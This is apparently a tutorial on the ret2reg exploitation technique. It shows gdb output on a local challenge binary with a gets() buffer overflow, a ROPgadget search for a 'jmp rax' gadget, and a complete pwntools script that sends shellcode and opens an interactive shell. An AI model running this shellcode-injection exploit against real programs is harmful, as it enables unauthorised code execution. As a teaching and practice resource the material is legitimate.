ret2reg involves jumping to register addresses rather than hardcoded addresses. As an example, you may find that the RAX register always points to your buffer when the ret instruction is executed. This can be exploited by using a call rax or jmp raxgadget to continue execution from that point. The reason RAX is often used for this technique is that, according to convention, the return value of a function is typically stored in RAX.
Any function that returns a pointer to the provided string is a prime target. There are many that do this, including :
In this example, when the vuln() function will return, the RAX register will point to the user input stored into buffer :
# Disassemble the vuln function
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
0x0000000000401122 <+0>: push rbp
0x0000000000401123 <+1>: mov rbp,rsp
0x0000000000401126 <+4>: sub rsp,0x70
0x000000000040112a <+8>: lea rax,[rbp-0x70]
0x000000000040112e <+12>: mov rdi,rax
0x0000000000401131 <+15>: mov eax,0x0
0x0000000000401136 <+20>: call 0x401030 <gets@plt>
0x000000000040113b <+25>: nop
0x000000000040113c <+26>: leave
0x000000000040113d <+27>: ret
End of assembler dump.
# Set a breakpoint at the end of the vuln function (address 0x1150)
gdb-peda$ break *vuln+27
Breakpoint 1 at 0x40113d
# Run the program
gdb-peda$ r
Starting program: ./chall
# Input some data (in this case, "AAAAAAAA")
AAAAAAAA
# The program hits the breakpoint at the end of the vuln function
Breakpoint 1, 0x000000000040113d in vuln ()
# Print the value of the RAX register
gdb-peda$ i r $rax
rax 0x7fffffffdfc0 0x7fffffffdfc0
# Print the string stored at the address contained in RAX
gdb-peda$ x/s 0x7fffffffdfc0
0x7fffffffdfc0: "AAAAAAAA"
Exploitation
Using a jmp raxgadget it's possible to jump directly into the user input without knowing the address of it :
$ ROPgadget --binary chall | grep "jmp rax"
0x0000000000401095 : je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d7 : je 0x4010e0 ; mov edi, 0x404030 ; jmp rax
0x000000000040109c : jmp rax # <-- needed gadget
0x0000000000401097 : mov edi, 0x404030 ; jmp rax
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x0000000000401093 : test eax, eax ; je 0x4010a0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d5 : test eax, eax ; je 0x4010e0 ; mov edi, 0x404030 ; jmp rax
Using Buffer Overflow to set the gadget as return and jump into shellcode :
from pwn import *
# Load the ELF file and start a new process
elf = context.binary = ELF('./chall')
p = process()
# Address of the JMP RAX gadget
JMP_RAX = 0x40109c
# Assemble the payload
payload = asm(shellcraft.sh()) # front of buffer <- RAX points here
# Pad the payload until the RIP
payload = payload.ljust(120, b'A')
# Append the JMP RAX gadget to the payload
payload += p64(JMP_RAX)
# Send the payload to the program
p.sendline(payload)
# Start an interactive session
p.interactive()
Note that this technique could work using another register than rax . For example using rsp could work as well but the chance of jmp esp gadgets existing in the binary are incredible low.